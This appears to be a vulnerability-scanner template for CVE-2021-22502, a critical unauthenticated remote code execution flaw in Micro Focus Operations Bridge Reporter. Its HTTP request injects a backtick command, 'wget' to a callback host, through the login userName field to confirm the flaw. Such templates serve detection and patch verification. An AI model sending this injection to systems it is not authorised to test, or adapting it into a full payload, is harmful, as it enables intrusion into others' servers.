id: CVE-2021-22502
info:
name: Micro Focus Operations Bridge Reporter - Remote Code Execution
author: pikpikcu
severity: critical
description: |
Micro Focus Operations Bridge Reporter 10.40 is susceptible to remote code execution. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials.
remediation: |
Apply the latest security patches or updates provided by Micro Focus to mitigate this vulnerability.
reference:
- https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md
- https://softwaresupport.softwaregrp.com/doc/KM03775947
- https://www.zerodayinitiative.com/advisories/ZDI-21-153/
- https://nvd.nist.gov/vuln/detail/CVE-2021-22502
- https://www.zerodayinitiative.com/advisories/ZDI-21-154/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-22502
cwe-id: CWE-78
epss-score: 0.93981
epss-percentile: 0.99882
cpe: cpe:2.3:a:microfocus:operation_bridge_reporter:10.40:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: microfocus
product: operation_bridge_reporter
tags: cve2021,cve,microfocus,obr,rce,kev
http:
- raw:
- |
POST /AdminService/urest/v1/LogonResource HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"userName":"something `wget {{interactsh-url}}`","credential":"whatever"}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- "dns"
- type: word
part: body
words:
- "An error occurred"
- "AUTHENTICATION_FAILED"
condition: and
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 401
# digest: 4b0a0048304602210091eab4bc0ec151ca93c84185f2fecd684fc8d7b920baebac4082753947bb650e022100e89b6ea2c067df3bc9aa0277f53ac4163f98c5704a4e82bbeff2e5ba51039178:922c64590222798bb761d5b6d8e72950